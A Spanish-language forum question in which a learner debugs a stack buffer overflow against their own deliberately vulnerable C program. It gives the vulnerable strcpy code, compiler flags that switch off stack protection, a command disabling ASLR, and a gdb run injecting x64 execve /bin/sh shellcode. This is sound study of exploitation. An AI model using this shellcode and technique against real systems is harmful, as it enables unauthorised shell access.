Actualmente estoy trabajando en un desbordamiento de búfer usando mi propio programa para aprender los conceptos básicos. Ya he ejecutado con éxito funciones ya presentes en el código al sobrescribir RIP / EIP, pero en este momento, el objetivo en este momento es obtener un shell.
Para hacerlo, hice esta pequeña pieza de código explotable:
#include <stdio.h> /* printf */
#include <stdlib.h> /* EXIT_SUCCESS, EXIT_FAILURE */
#include <string.h> /* strcpy */
int main(int argc, char **argv)
{
char buffer[300];
if (argc < 2)
return EXIT_FAILURE;
strcpy(&buffer[0], argv[1]);
printf("Input: '%s'\n", &buffer[0]);
return EXIT_SUCCESS;
}
La compilación se realiza con la siguiente línea: gcc bof.c -o bof -fno-stack-protector
El programa sale normalmente hasta que se envían 312 bytes.
- ¿Por qué comienza a fallar a 312 bytes y no a 301 bytes?
- ¿Son los 12 bytes el tamaño de la pila?
- ¿Este número realmente importa en caso de un ataque?
Luego he estado intentando algunas cosas, como usar un código de shell, pero sin éxito.
gdb-peda$ r $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")
Starting program: /tmp/bof $(python -c 'print "A" * 311' + "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")
Input: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[Inferior 1 (process 11295) exited normally]
Warning: not running or target is remote
A tener en cuenta: el código de shell es en realidad un execve bin / sh x64.
He estado atrapado en este por días ahora y no sé cómo resolverlo, estaría agradecido si alguien pudiera ayudarme en este asunto.
Editar :
Ahora lo entendí un poco mejor gracias a @DKNUCKLES & @Miles Budnek, he podido realizar más pruebas y he hecho algunos avances. Sin embargo, después de sobrescribir con éxito el EIP con la dirección del búfer, el bloqueo parecía estar dentro del propio código de shell.
El binario de prueba vulnerable anterior se compiló con los siguientes indicadores: gcc vuln.c -o vuln -fno-stack-protector -zexecstack -m32
. Para eso, me aseguré de deshabilitar ASLR con el siguiente comando: echo "0" > /proc/sys/kernel/randomize_va_space
.
- Aquí, se desliza correctamente a través de las instrucciones NOP hasta que el código de shell, y unos pocos bytes después del comienzo del código de shell, se bloquea: enlace
- Aquí, por algún motivo, tuve la idea de mover NOP bytes desde antes del código de shell hasta el final y funcionó correctamente: enlace
- Aquí, igual que arriba, pero sin GDB, no abre una shell: %código%
(También intenté agregar un gato | antes de la llamada al programa vulnerable, pero sin éxito).